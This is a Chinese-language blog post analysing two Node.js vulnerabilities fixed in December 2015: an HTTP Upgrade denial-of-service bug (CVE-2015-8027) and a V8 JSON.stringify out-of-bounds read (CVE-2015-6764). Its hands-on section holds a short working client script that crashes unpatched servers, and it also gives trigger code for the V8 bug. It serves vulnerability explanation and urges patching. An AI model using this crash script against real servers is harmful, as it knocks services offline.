天天看點

Node.js 2015-12-04 漏洞淺析

原作者:淩恒

前言

Node.js 在 4 号放出了一個重要的更新,看了下

更新日志

,主要修複的是一些安全性的漏洞,包括 CVE-2015-8027 和 CVE-2015-6764 這兩個漏洞。在更新釋出後,簡單看了下漏洞的細節,在這裡簡單介紹下。

CVE-2015-8027 Denial of Service Vulnerability

這個漏洞看起來應該是 Node.js 開發者書寫時的疏忽,在調用

parser.pause

方法時,沒有判斷

parser

是否存在,導緻在特定情況運作時底層抛出

TypeError

錯誤,使程序崩潰。

主要涉及到下面的幾個關鍵字:

  • highWaterMark
  • http method: UPGRADE
  • response 處理

它是一個在建立流時可以修改大小的參數,作用跟字面意思差不多,高水位線。在 Readable Stream 中,用來控制底層讀取前緩沖區資源的最多位元組數;在 Writable Steam 中,用來控制寫入時待處理緩沖區中最多存放的位元組數。超過這個值時,會将 Steam 置為 pause 狀态,這個操作便是觸發這個漏洞的關鍵。看下代碼,在

_http_server.js#454 parserOnIncoming

方法中:

function parserOnIncoming(req, shouldKeepAlive) {
  ...
  if (!socket._paused) {
    var needPause = socket._writableState.needDrain ||
      outgoingData >= socket._writableState.highWaterMark;
    if (needPause) {
      socket._paused = true;
      socket.pause();
    }
  }
  ...
}
           

值得一提的是,這個值的調整,對 I/O 操作有一定的優化能力。它預設的值是 16KB,對于對象流則為 16。如果這個值設定的過小,會導緻系統調用過于頻繁;如果設定過大,那麼會導緻資源配置設定的浪費,是以修改需要謹慎。

UPGRADE

這是一個 HTTP/1.1 标準中提出的一種頭部方法。當用戶端發送 UPGRADE,并指定其他的通訊協定,如果伺服器支援,則必須傳回 101,并且将通訊協定進行轉換。那麼為什麼它會用來觸發這漏洞呢?

因為在 http server 更新協定時,會把目前用到的 parser 釋放掉,導緻 socket.parser 就變成了 null,自然在後面調用時就會出錯。具體代碼位置在

_http_server.js#371 onParserExecuteCommon
function onParserExecuteCommon(ret, d) {
  if (ret instanceof Error) {
    debug('parse error');
    socket.destroy(ret);
  } else if (parser.incoming && parser.incoming.upgrade) {
    ...
    parser.finish();
    freeParser(parser, req, null);
    parser = null;
    ...
  }
  if (socket._paused && socket.parser) {
    debug('pause parser');
    socket.parser.pause();
  }
}
           

是以,它就成了觸發條件。

你可能會想,我的應用中沒有用到 UPGRADE 方法,應該不會有影響吧?這其實跟你的應用中是否用了 UPGRADE 沒有什麼關系,這是在底層處理收到請求的過程中發生的錯誤,還沒有到應用代碼執行的層面,是以不是應用可控的。即使你監聽了

upgrade

事件,它也是異步的,而且你也隻是處理是否接受 UPGRADE 以及後續處理(比如:切斷連接配接)的問題,一樣會觸發報錯。

Response 處理

Node.js 在處理 Http 請求的響應時,使用了一個

outgoing

數組。在請求進來時,會建立一個

ServerResponse

對象,并将它

push

outgoing

數組中。當響應内容過多時,會發生排隊的情況,當資料量超過

highWaterMark

時,就會導緻 socket 的 pause。這裡面涉及到的更多的内容,以後再細說。這部分相關代碼,在

function parserOnIncoming(req, shouldKeepAlive) {
  ...
  var res = new ServerResponse(req);
  res._onPendingData = updateOutgoingData;
  ...
  if (socket._httpMessage) {
    outgoing.push(res);
  } else {
    res.assignSocket(socket);
  }
  ...
}
           

實戰

根據上面的介紹,可以看到,這個漏洞的觸發過程大緻如下:

  1. 向服務端快速的發送大量請求,使服務端對應 socket 觸發 pause 狀态。
  2. 發送 UPGRADE 請求,觸發服務端進入 upgrade 處理。

我們先來寫一個 server,當有請求來的時候,會寫一個大小 1024 的 Buffer,這個大小随你控制,用 1024 比較好計算。

'use strict';
const http = require('http');
const PORT = 8989;
const chunk = new Buffer(1024);

chunk.fill('X');

var server = http.createServer(function(req, res) {
    res.end(chunk);
}).listen(PORT);
           

接下來寫一個 client,用來發送請求,這裡我們使用 net 子產品來連接配接伺服器并傳輸資料。在 client 裡,要快速的發送請求,因為預設的 highWaterMark 大小是 16KB,是以我們發送 17 次請求,這樣剛好超過它,觸發 socket 的 pause 狀态。然後發送一個 UPGRADE 請求,這樣就會觸發漏洞,導緻伺服器崩潰,具體代碼如下:

'use strict';

const net = require('net');

var socket = net.connect(8989);

for (var i = 0; i < 17; i ++) {
  socket.write('GET / HTTP/1.1\r\n\r\n');
}

socket.write(
  'GET / HTTP/1.1\r\nConnection: upgrade\r\nUpgrade: ws\r\n\r\n'
);
           

一般 Node.js 應用會傳回頁面,這個也要寫入 Buffer 的,是以也會出現寫入超量的問題。用上面的代碼測試了幾個未更新的應用,會導緻應用程序退出,但線上應用一般會有程序守護,是以在量小的情況下,影響還可控。如果量很大,即使應用不會退出,但 worker 程序一直重新開機,應用的狀态也不會良好。

另外,也可以在 Nginx 層面對連入請求進行過濾,是可以保護後面的 Node.js 應用的。

注意:請勿亂用

CVE-2015-6764 V8 Out-of-bounds Access Vulnerability

這是 V8 的一個 bug,跟 Node.js 的實作并沒有關系,它涉及到的方法是

JSON.stringify

。在這個方法的實作中,會用到被轉換對象的 getter 和 toJSON 兩個方法,如果我們重載了對象的這兩個方法,那麼就會影響到轉換的結果。對于數組來說,如果在其中改變了數組的長度,那麼最後結果會發生什麼呢?先來看個例子:

var array = [];
for (var i = 0; i < 10; i++) array[i] = i;
var obj = {
  toJSON: function() {
    array.length = 1;
    return 'obj';
  }
};
array[0] = obj;
JSON.stringify(array);
           

這段代碼在這個漏洞沒有修複之前,運作結果類似這種:

'["obj",null,128,3,4,5,6,7,8,9]'
           

顯然,這個結果是錯誤的,因為 array 的長度變成了 1,後面的内容就不應該出現了。

在這個 bug 修複後的執行結果是這樣的:

'["obj",null,null,null,null,null,null,null,null,null]'
           

同樣的,重載 getter 方法:

var array = [];
for (var i = 0; i < 10; i++) array[i] = i;
var obj = {
  get value() {
      array.length = 1;
      return "obj";
  }
};
array[0] = obj;
JSON.stringify(array);
//修複前
'[{"value":"obj"},null,128,3,4,5,6,7,8,9]'
//修複後
'[{"value":"obj"},null,null,null,null,null,null,null,null,null]'
           

更多測試用例,請看

regress-crbug-554946.js

在 V8 這個方法的之前的實作中,隻是簡單的周遊元素,然後根據對應的類型,進行相應的轉換,形成結果。

[ [76a552]json-stringifier.h#L429 ](

https://github.com/nodejs/node/blob/76a552c938e43eebbd0795e974f71250529f8cf5/deps/v8/src/json-stringifier.h#L429)
BasicJsonStringifier::Result BasicJsonStringifier::SerializeJSArray(
    Handle<JSArray> object) {
  ...
  uint32_t length = 0;
  CHECK(object->length()->ToArrayLength(&length));
  builder_.AppendCharacter('[');
  Result result = SerializeJSArraySlow(object, length);
  ...
}
           

修正之後,多了對數組類型的判斷,根據不同的類型,采取不同的轉換方法:

[[master]json-stringifier.h#430](

https://github.com/nodejs/node/blob/master/deps/v8/src/json-stringifier.h#L430)
BasicJsonStringifier::Result BasicJsonStringifier::SerializeJSArray(
    Handle<JSArray> object) {
  ...
  switch(object->GetElementsKind()) {
    case FAST_SMI_ELEMENTS: {
      ...
    }
    case FAST_DOUBLE_ELEMENTS: {
      ...
    }
    case FAST_ELEMENTS: {
      Handle<Object> old_length(object->length(), isolate_);
      for (uint32_t i = 0; i < length; i++) {
        if (object->length() != *old_length ||
            object->GetElementsKind() != FAST_ELEMENTS) {
          Result result = SerializeJSArraySlow(object, i, length);
          if (result != SUCCESS) return result;
          break;
        }
        if (i > 0) builder_.AppendCharacter(',');
        Result result = SerializeElement(
            isolate_,
            Handle<Object>(FixedArray::cast(object->elements())->get(i),
                           isolate_),
            i);
        if (result == SUCCESS) continue;
        if (result == UNCHANGED) {
          builder_.AppendCString("null");
        } else {
          return result;
        }
      }
      break;
    }
    default: {
      ...
      Result result = SerializeJSArraySlow(object, 0, length);
      ...
    }
    
}
           

主要是在

FAST_ELEMENTS

這個類型上,它會在周遊是動态的計算數組的長度,如果數組長度發生變化,會根據新的長度,直接運作

SerializeJSArraySlow

方法得到最終結果,否則會一個一個元素的處理。

同時,

SerializeJSArraySlow

方法也做了修改,增加了一個參數

start

用來辨別周遊的起始值,不會每次都從 0 的位置開始周遊。

總體看來,這個 bug 的觸發條件還是挺複雜的,一般很少會遇到。

總結

  • 細節對于代碼品質,應用穩定性來說,很重要。特别是提供給别人用的庫,一定要考慮全面。
  • 很多異常的觸發是很巧妙的,這是一個比較困擾的問題,測試貢獻的能力也有限,不過也不能忽略測試,還是很重要的。
  • 請及時更新到修複後的版本,v5.1.1、v4.2.3、v0.12.9、alinode-v1.2.1、alinode-v1.2.2。

繼續閱讀